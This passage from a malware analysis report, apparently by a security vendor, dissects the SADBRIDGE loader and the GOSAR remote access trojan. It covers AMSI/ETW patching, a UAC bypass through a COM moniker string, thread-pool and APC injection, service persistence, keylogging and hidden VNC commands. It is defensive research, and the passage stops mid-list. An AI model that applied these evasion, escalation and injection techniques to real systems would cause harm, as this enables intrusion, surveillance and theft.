<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd77fcd866999f1f6/6a7c97edc33f4f7fc6d54f5e/image17.png" alt="Patching AmsiScanBuffer, AmsiOpenSession and EtwEventWrite APIs" title="Patching AmsiScanBuffer, AmsiOpenSession and EtwEventWrite APIs" /></p>
<p>Following the patching, an encrypted shellcode is written to <code>temp.ini</code> at path (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code>).<br />
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the <code>SECURITY_LOCAL_SYSTEM_RID</code> and calling <code>CheckTokenMembership</code>. If not, it attempts to check for membership in the Administrators group by creating a SID using <code>SECURITY_BUILTIN_DOMAIN_RID</code> and <code>DOMAIN_ALIAS_RID_ADMINS</code> and performing a similar token membership check.</p>
<p>If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">UAC bypass mechanism</a> by leveraging the <code>ICMLuaUtil</code> COM interface. It crafts a moniker string <code>"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"</code> to create an instance of the <code>CMSTPLUA</code> object with Administrator privileges. Once the object is created and the <code>ICMLuaUtil</code> interface is obtained, the malware uses the exposed <code>ShellExec</code> method of the interface to run <code>DevQueryBroker.exe</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbd0f479807b9b56d/6a7c97f0ea068d4e2df045fa/image11.png" alt="Privilege Escalation via ICMLuaUtil COM interface" title="Privilege Escalation via ICMLuaUtil COM interface" /></p>
<p>If a task or a service is not created to run <code>DevQueryBroker.exe</code> routinely, the malware checks if the Anti-Virus process <code>360tray.exe</code> is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:</p>
<ul>
<li>Service name: <strong>DevQueryBrokerService</strong><br />
Binary path name: <strong>“C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”</strong>.  </li>
<li>Display name: <strong>DevQuery Background Discovery Broker Service</strong>  </li>
<li>Description: <strong>Enables apps to discover devices with a background task.</strong>  </li>
<li>Start type: <strong>Automatically at system boot</strong>  </li>
<li>Privileges: <strong>LocalSystem</strong></li>
</ul>
<p>If <code>360tray.exe</code> is detected running, the malware writes an encrypted PE file to <code>DevQueryBrokerService.log</code>, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it. </p>
<p>Once <code>DevQueryBroker.exe</code> is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there. </p>
<p>On Windows 7, however, it executes a shellcode, which decrypts and runs the <code>DevQueryBrokerPre.log</code> file.</p>
<h3 id="stage1injectionexplorerexe">Stage 1 Injection (explorer.exe)</h3>
<p>SADBRIDGE utilizes <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty Variant 7</a> to inject shellcode into <code>explorer.exe</code> by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within <code>explorer.exe</code> to store the shellcode. Additional memory is allocated to store a crafted <a href="https://github.com/SafeBreach-Labs/PoolParty/blob/77e968b35f4bad74add33ea8a2b0b5ed9543276c/PoolParty/ThreadPool.hpp#L42"><code>TP_DIRECT</code></a> structure, which includes the base address of the shellcode as the callback address. Finally, it calls <code>ZwSetIoCompletion</code>, passing a pointer to the <code>TP_DIRECT</code> structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd35d7d06675e1645/6a7c97f36c6eac2652f0e8b5/image21.png" alt="I/O Completion Port Shellcode Injection" title="I/O Completion Port Shellcode Injection" /></p>
<p>This shellcode decrypts the <code>DevQueryBrokerService.log</code> file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode. </p>
<h3 id="stage2injectionspoolsvexelsassexe">Stage 2 Injection (spoolsv.exe/lsass.exe)</h3>
<p>For Stage 2, SADBRIDGE injects shellcode into <code>spoolsv.exe</code>, or <code>lsass.exe</code> if <code>spoolsv.exe</code> is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts <code>DevQueryBrokerPre.log</code> into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.</p>
<h4 id="devquerybrokerservicelog">DevQueryBrokerService.log</h4>
<p>The shellcode decrypted from <code>DevQueryBrokerService.log</code> as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC <a href="https://github.com/zcgonvh/TaskSchedulerMisc">bypass technique</a> using the <code>IElevatedFactorySever</code> COM object to indirectly create the scheduled task. This task is configured to run <code>DevQueryBroker.exe</code> on a daily basis with SYSTEM level privileges using the task name <code>DevQueryBrokerService</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbef8e898f7582bfe/6a7c97f5e02fac4f775d0a30/image9.png" alt="GUID in Scheduled Task Creation (Virtual Factory for MaintenanceUI)" title="GUID in Scheduled Task Creation (Virtual Factory for MaintenanceUI)" />  </p>
<p>In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from <code>explorer.exe</code>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7d6aed512590320a/6a7c97f86c6eac8a39f0e8b9/image13.png" alt="DevQueryBrokerService.log Spoofed Image Command-Line" title="DevQueryBrokerService.log Spoofed Image Command-Line" /></p>
<h4 id="devquerybrokerprelog">DevQueryBrokerPre.log</h4>
<p>SADBRIDGE creates a service named <code>DevQueryBrokerServiceSvc</code> under the registry subkey <code>SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc</code> with the following attributes:</p>
<ul>
<li><strong>Description</strong>: Enables apps to discover devices with a background task.  </li>
<li><strong>DisplayName</strong>: DevQuery Background Discovery Broker Service  </li>
<li><strong>ErrorControl</strong>: 1  </li>
<li><strong>ImagePath</strong>: <code>%systemRoot%\system32\svchost.exe -k netsvcs</code>  </li>
<li><strong>ObjectName</strong>: LocalSystem  </li>
<li><strong>Start</strong>: 2 (auto-start)  </li>
<li><strong>Type</strong>: 16.  </li>
<li><strong>Failure Actions</strong>:  </li>
<li>Resets failure count every 24 hours.  </li>
<li>Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.</li>
</ul>
<p>The service parameters specify the <code>ServiceDll</code> located at <code>C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\&lt;hostname_hash&gt;\DevQueryBrokerService.dll</code>. If the DLL file does not exist, it will be dropped to disk right after.</p>
<p><code>DevQueryBrokerService.dll</code> has a similar code structure as <code>HealthServiceRuntime.dll</code>, which is seen in the earlier stages of the execution chain. It is responsible for decrypting <code>DevQueryBroker.log</code> and running it. The <code>ServiceDll</code> will be loaded and executed by <code>svchost.exe</code> when the service starts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d3d7426ae342c50/6a7c97fbde231521c9fd2293/image12.png" alt="svchost.exe’s malicious ServiceDLL parameter" title="svchost.exe’s malicious ServiceDLL parameter" /></p>
<p>Additionally, it modifies the <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs</code> key to include an entry for <code>DevQueryBrokerServiceSvc</code> to integrate the newly created service into the group of services managed by the <code>netsvcs</code> service host group.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt392bd63f301a2718/6a7c97fede231508f7fd2297/image19.png" alt="Modifies the netsvc registry key to add DevQueryBrokerServiceSvc" title="Modifies the netsvc registry key to add DevQueryBrokerServiceSvc" />  </p>
<p>SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys <code>SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService</code> and <code>SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService</code>. </p>
<p>Finally, it removes the files <code>DevQueryBroker.exe</code> and <code>HealthServiceRuntime.dll</code> in the <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker</code> folder, as the new persistence mechanism is in place.</p>
<h2 id="gosarinjection">GOSAR Injection</h2>
<p>In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the <code>WTSEnumerateSessionsA</code> API. </p>
<p>If sessions are found, it iterates through each session:</p>
<ul>
<li>For each session, it attempts to retrieve the username (<code>WTSUserName</code>) using <code>WTSQuerySessionInformationA</code>. If the query fails, it moves to the next session.  </li>
<li>If <code>WTSUserName</code> is not empty, the code targets <code>svchost.exe</code>, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.  </li>
<li>If <code>WTSUserName</code> is empty but the session's <code>WinStationName</code> is <code>"Services"</code> (indicating a service session), it targets <code>dllhost.exe</code> instead, passing the same parameters to the final stage injection subroutine.</li>
</ul>
<p>If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.</p>
<p>Logged-in sessions target <code>svchost.exe</code>, while service sessions or sessions without a logged-in user target <code>dllhost.exe</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9169ccaf8033a127/6a7c9801ea068d241af0460a/image6.png" alt="Enumeration of active sessions" title="Enumeration of active sessions" /></p>
<p>If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to <code>S-1-16-12288</code> (System integrity). It then uses the elevated token to create a child process (<code>svchost.exe</code> or <code>dllhost.exe</code>) via <code>CreateProcessAsUserA</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf06298063e36a24e/6a7c9803437e0fa88ddd5ac8/image4.png" alt="Duplication of user token and elevating token privileges" title="Duplication of user token and elevating token privileges" /></p>
<p>If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using <code>CreateProcessA</code>.</p>
<p>The encrypted shellcode <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code> is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt <code>.log</code> files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.  </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt277bd2d6555db2a9/6a7c98067cfd7aee513151ce/image2.png" alt="APC injection to run GOSAR" title="APC injection to run GOSAR" />  </p>
<p>Finally, the injected shellcode decrypts <code>DevQueryBrokerCore.log</code> to GOSAR and runs it in the newly created process’s memory.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1b2aa35548785d1f/6a7c980951156a25e92bcddb/image33.png" alt="GOSAR injected into dllhost.exe and svchost.exe" title="GOSAR injected into dllhost.exe and svchost.exe" /></p>
<h2 id="gosarintroduction">GOSAR Introduction</h2>
<p>GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version. </p>
<p>By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc56bc7ed400423b0/6a7c980c80ee3867ad60d5cc/image29.png" alt="Low detection rate on GOSAR VT upload" title="Low detection rate on GOSAR VT upload" /></p>
<p>Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).</p>
<h2 id="gosarcodeanalysisoverview">GOSAR Code Analysis Overview</h2>
<h3 id="codestructureofgosar">Code structure of GOSAR</h3>
<p>As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version <code>0.12.01</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc75e6fe20c0a83f5/6a7c980f73d9bd57032980f7/image26.png" alt="GOSAR code structure" title="GOSAR code structure" /></p>
<ul>
<li><strong>vibrant/config</strong>: Contains the configuration files for the malware.  </li>
<li><strong>vibrant/proto</strong>: Houses all the Google Protocol Buffers (proto) declarations.  </li>
<li><strong>vibrant/network</strong>: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener  </li>
<li><strong>vibrant/msgs/resolvers</strong>: Defines the commands handled by the malware. These commands are assigned to an object within the <code>vibrant_msgs_init*</code> functions.  </li>
<li><strong>vibrant/msgs/services</strong>: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the <code>vibrant_network._ptr_Connection.Start</code> function.  </li>
<li><strong>vibrant/logs</strong>: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.  </li>
<li><strong>vibrant/pkg/helpers</strong>: Contains helper functions used across various malware commands and services.  </li>
<li><strong>vibrant/pkg/screenshot</strong>: Handles the screenshot capture functionality on the infected system.  </li>
<li><strong>vibrant/pkg/utils</strong>: Includes utility functions, such as generating random values.  </li>
<li><strong>vibrant/pkg/native</strong>: Provides functions for calling Windows API (WINAPI) functions.</li>
</ul>
<h3 id="newadditionstogosar">New Additions to GOSAR</h3>
<h4 id="communicationandinformationgathering">Communication and information gathering</h4>
<p>This new variant continues to use the same communication method as the original, based on <strong>TCP TLS</strong>. Upon connection, it first sends system information to the C2, with 4 new fields added:</p>
<ul>
<li>IPAddress  </li>
<li>AntiVirus  </li>
<li>ClipboardSettings  </li>
<li>Wallets</li>
</ul>
<p>The list of AntiViruses and digital wallets are initialized in the function <code>vibrant_pkg_helpers_init</code> and can be found at the bottom of this document.</p>
<h4 id="services">Services</h4>
<p>The malware handles 3 services that are started during the initial connection of the client to the C2:</p>
<ul>
<li>vibrant_services_KeyLogger  </li>
<li>vibrant_services_ClipboardLogger  </li>
<li>vibrant_services_TickWriteFile  </li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4d4b7cd721357d94/6a7c9812c2cc096ced24389d/image22.png" alt="GOSAR services" title="GOSAR services" /></p>
<h5 id="keylogger">KeyLogger</h5>
<p>The keylogging functionality in GOSAR is implemented in the <code>vibrant_services_KeyLogger</code> function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa"><code>SetWindowsHookEx</code></a> with the parameter <code>WH_KEYBOARD_LL</code> to monitor low-level keyboard events. The hook function is named <code>vibrant_services_KeyLogger_func1</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1b5cf1e23ec83e05/6a7c98159f52519a8d6644ef/image28.png" alt="GOSAR setting the keylogger" title="GOSAR setting the keylogger" /></p>
<h5 id="clipboardlogger">ClipboardLogger</h5>
<p>The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-isclipboardformatavailable"><code>IsClipboardFormatAvailable</code></a> then retrieves it using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboarddata"><code>GetClipboardData</code></a> API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdf05328d07ae0c24/6a7c98179f525136c46644f3/image34.png" alt="GOSAR clipboard logging" title="GOSAR clipboard logging" /></p>
<h5 id="tickwritefile">TickWriteFile</h5>
<p>Both <code>ClipboardLogger</code> and <code>KeyLogger</code> services collect data that is written by the <code>TickWriteFile</code> periodically to directory (<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics</code>) under a file of the current date, example <code>2024-11-27</code>.<br />
It can be decrypted by first subtracting the value <code>0x1f</code> then xoring it with the value <code>0x18</code> as shown in the CyberChef recipe.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d2775221534425b/6a7c981a5967e50ea25d7a1b/image24.png" alt="CyberChef recipe used to decrypt keylogger logs" title="CyberChef recipe used to decrypt keylogger logs" /></p>
<h4 id="networkingsetup">Networking setup</h4>
<p>After initializing its services, the malware spawns <strong>three threads</strong> dedicated to its networking setup.</p>
<ul>
<li>vibrant_network_ConfigFirewallRule  </li>
<li>vibrant_network_ConfigHosts  </li>
<li>vibrant_network_ConfigAutoListener</li>
</ul>
<p><a href="https://www.elastic.co/assets/images/under-the-sadbridge-with-gosar/image15.png">Threads handling networking setup</a></p>
<h5 id="configfirewallrule">ConfigFirewallRule</h5>
<p>The malware creates an inbound firewall rule for the ports range <code>51756-51776</code> under a Chinese name that is translated to <code>Distributed Transaction Coordinator (LAN)</code> it allows all programs and IP addresses inbound the description is set to :<code>Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8a34f323bd2bef23/6a7c981de3a2193ea4999c31/image23.png" alt="Added firewall rule" title="Added firewall rule" /></p>
<h5 id="confighosts">ConfigHosts</h5>
<p>This function adds an entry to <code>c:\Windows\System32\Drivers\etc\hosts</code> the following <code>127.0.0.1 micrornetworks.com</code>. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.</p>
<h5 id="configautolistener">ConfigAutoListener</h5>
<p>This functionality of the malware runs an HTTP server listener on the first available port within the range <code>51756-51776</code>, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a <code>GET</code> request to the URI <code>/security.js</code>, responding with the string <code>callback();</code>, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt713f4c3af64576c3/6a7c98201967ea31be32ad43/image5.png" alt="Callback handled by GOSAR" title="Callback handled by GOSAR" /></p>
<h4 id="logs">Logs</h4>
<p>The malware saves its runtime logs in the directory: <code>%APPDATA%\Roaming\Microsoft\Logs</code> under the filename formatted as: <code>windows-update-log-&lt;YearMonthDay&gt;.log</code>.<br />
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the <code>vibrant_config</code> function, the following is an example:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt72900f2264185fc4/6a7c982277b034741a3f9a86/image16.png" alt="Logs example generated by GOSAR" title="Logs example generated by GOSAR" /></p>
<p>The attacker can remotely retrieve the malware's runtime logs by issuing the command <code>ResolveGetRunLogs</code>.</p>
<h4 id="plugins">Plugins</h4>
<p>The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: <code>C:\ProgramData\policy-err.log</code>. To execute a plugin, the command <code>ResolveDoExecutePlugin</code> is called, it first checks if a plugin is available.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1bf1a04858fafe25/6a7c9824ea068dcde5f04614/image35.png" alt="GOSAR checking for existence of a plugin to execute" title="GOSAR checking for existence of a plugin to execute" /></p>
<p>It then loads a native DLL reflectively that is stored in base64 format in the binary named <code>plugins.dll</code> and executes its export function <code>ExecPlugin</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt375c6a550dc0bd04/6a7c9827e02fac8f355d0a40/image25.png" alt="GOSAR loading plugins.dlll and calling ExecPlugin" title="GOSAR loading plugins.dlll and calling ExecPlugin" /></p>
<p><code>ExecPlugin</code> creates a suspended process of <code>C:\Windows\System32\msiexec.exe</code> with the arguments <code>/package</code> <code>/quiet</code>. It then queues <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Asynchronous Procedure Calls</a> (APC) to the process's     main thread. When the thread is resumed, the queued shellcode is executed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blteadc9fc8ef7e33a6/6a7c982ae3a21976f4999c39/image36.png" alt="GOSAR plugin module injecting a PE in msiexec.exe" title="GOSAR plugin module injecting a PE in msiexec.exe" /></p>
<p>The shellcode reads the encrypted plugin stored at <code>C:\ProgramData\policy-err.log</code>, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.</p>
<h4 id="hvnc">HVNC</h4>
<p>The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands</p>
<ul>
<li>ResolveHVNCCommand  </li>
<li>ResolveGetHVNCScreen  </li>
<li>ResolveStopHVNC  </li>
<li>ResolveDoHVNCKeyboardEvent  </li>
<li>ResolveDoHVNCMouseEvent</li>
</ul>
<p>The first command that is executed is <code>ResolveGetHVNCScreen</code> which will first initialise it and set up a view, it uses an embedded native DLL <code>HiddenDesktop.dll</code> in base64 format, the DLL is reflectively loaded into memory and executed.</p>
<p>The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:</p>
<ul>
<li>ExcuteCommand  </li>
<li>DoMouseScroll  </li>
<li>DoMouseRightClick  </li>
<li>DoMouseMove  </li>
<li>DoMouseLeftClick  </li>
<li>DoKeyPress  </li>
<li>CaptureScreen</li>
</ul>
<p>The first export function called is <code>Initialise</code> to initialise a desktop with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdesktopa"><code>CreateDesktopA</code></a> API. This HVNC implementation handles 17 commands in total that can be found in <code>ExcuteCommand</code> export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command <code>ResolveHVNCCommand</code> that will call <code>ExcuteCommand</code>.</p>
<p>| Command ID | Description |
| :---- | :---- |
| 0x401 | The function first disables taskbar button grouping by setting the <code>TaskbarGlomLevel</code> registry key to <code>2</code> under <code>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</code>. Next, it ensures the taskbar is always visible and on top by using <code>SHAppBarMessage</code> with the <code>ABM_SETSTATE</code> command, setting the state to <code>ABS_ALWAYSONTOP</code>. |
| 0x402 | Spawns a RUN dialog box by executing the 61th export function of <code>shell32.dll</code>.<code>C:\Windows\system32\rundll32.exe shell32.dll,#61</code> |
| 0x403 | Runs an instance of <code>powershell.exe</code> |
| 0x404 | Executes a PE file stored in <code>C:\\ProgramData\\shell.log</code> |
| 0x405 | Runs an instance of <code>chrome.exe</code> |
| 0x406 | Runs an instance of <code>msedge.exe</code> |
| 0x407 | Runs an instance of <code>firefox.exe</code> |
| 0x408 | Runs an instance of <code>iexplore.exe</code> |
| 0x409 | Runs an instance of <code>360se.exe</code> |
| 0x40A | Runs an instance of <code>360ChromeX.exe</code>. |
| 0x40B | Runs an instance of <code>SogouExplorer.exe</code> |
| 0x40C | Close current window |
| 0x40D | Minimizes the specified window |
| 0x40E | Activates the window and displays it as a maximized window |
| 0x40F | Kills the process of a window |
| 0x410 | Sets the clipboard |
| 0x411 | Clears the Clipboard |</p>
<h4 id="screenshot">Screenshot</h4>
<p>The malware loads reflectively the third and last PE DLL embedded in base64 format named <code>Capture.dll</code>, it has 5 export functions:</p>
<ul>
<li>CaptureFirstScreen  </li>
<li>CaptureNextScreen  </li>
<li>GetBitmapInfo  </li>
<li>GetBitmapInfoSize  </li>
<li>SetQuality</li>
</ul>
<p>The library is first initialized by calling <code>resolvers_ResolveGetBitmapInfo</code> that reflectively loads and executes its <code>DllEntryPoint</code> which will setup the screen capture structures using common Windows APIs like <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatibledc"><code>CreateCompatibleDC</code></a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap"><code>CreateCompatibleBitmap</code></a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createdibsection"><code>CreateDIBSection</code></a>. The 2 export functions <code>CaptureFirstScreen</code> and <code>CaptureNextScreen</code> are used to capture a screenshot of the victim's desktop as a JPEG image.</p>
<h3 id="observation">Observation</h3>
<p>Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.</p>
<p>It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.</p>
<h3 id="newfunctionality">New functionality</h3>
<p>The following table provides a description of all the newly added commands:</p>
<p>| New commands |  |
| :---- | :---- |
| ResolveDoRoboCopy | Executes <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy"><code>RoboCopy</code></a> command to copy files   |
| ResolveDoCompressFiles | Compress files in a zip format |
| ResolveDoExtractFile | Extract a zip file |
| ResolveDoCopyFiles | Copies a directory or file in the infected machine |
| ResolveGetRunLogs | Get available logs |
| ResolveHVNCCommand | Execute a HVNC command |
| ResolveGetHVNCScreen | Initiate HVNC |
| ResolveStopHVNC | Stop the HVNC session |
| ResolveDoHVNCKeyboardEvent | Send keyboard event to the HVNC |
| ResolveDoHVNCMouseEvent | Send mouse event to the HVNC |
| ResolveDoExecutePlugin | Execute a plugin |
| ResolveGetProcesses | Get a list of running processes |
| ResolveDoProcessStart | Start a process |
| ResolveDoProcessEnd | Kill a process |
| ResolveGetBitmapInfo | Retrieve the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapinfo"><strong>BITMAPINFO</strong></a> structure for the current screen's display settings |
| ResolveGetMonitors | Enumerate victim’s display monitors with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors"><code>EnumDisplayMonitors</code></a> API |
| ResolveGetDesktop | Start screen capture functionality |
| ResolveStopGetDesktop | Stop the screen capture functionality |
| ResolveNewShellExecute | Opens pipes to a spawned cmd.exe process and send commands to it |
| ResolveGetSchTasks | Get scheduled tasks by running the command <code>schtasks /query /fo list /v</code> |
| ResolveGetScreenshot | Capture a screenshot of the victim’s desktop |
| ResolveGetServices | Get the list of services with a <strong>WMI</strong> query: <code>select * from Win32_Service</code> |
| ResolveDoServiceOperation | Start or stop a service |
| ResolveDoDisableMultiLogon | Disable multiple session by user by setting the value <code>fSingleSessionPerUser</code> to 1 under the key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer</code> |
| ResolveDoRestoreNLA | Restores the security settings for Remote Desktop Protocol (RDP), enabling <strong>Network Level Authentication</strong> (NLA) and enforcing <strong>SSL/TLS</strong> encryption for secure communication. |
| ResolveGetRemoteClientInformation | Get a list of all local users that are enabled, the <strong>RDP por</strong>t and <strong>LAN IP</strong> and <strong>OS specific information</strong>: <strong>DisplayVersion</strong>, <strong>SystemRoot</strong> and <strong>CurrentBuildNumber</strong> extracted from the registry key <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</code> |
| ResolveDoInstallWrapper | Setup a Hidden Remote Desktop Protocol (<strong>HRDP</strong>) |
| ResolveDoUninstallWrapper | Uninstall <strong>HRDP</strong> |
| ResolveDoRecoverPrivileges | Restores the original <strong><code>HKEY_LOCAL_MACHINE\\SAM\\SAM</code></strong> registry before changes were made during the installation of the <strong>HRDP</strong> |
| ResolveGetRemoteSessions | Retrieve information about the RDP sessions on the machine. |
| ResolveDoLogoffSession | Logoff RDP session with <a href="https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtslogoffsession"><strong><code>WTSLogoffSession</code></strong></a> API  |
| ResolveGetSystemInfo | Get system information |
| ResolveGetConnections | Get all the connections in the machine |
| ResolveDoCloseConnection | Not implemented |</p>
<h2 id="malwareandmitreattck">Malware and MITRE ATT\&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT\&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1055/004/">Process Injection: Asynchronous Procedure Call</a>  </li>
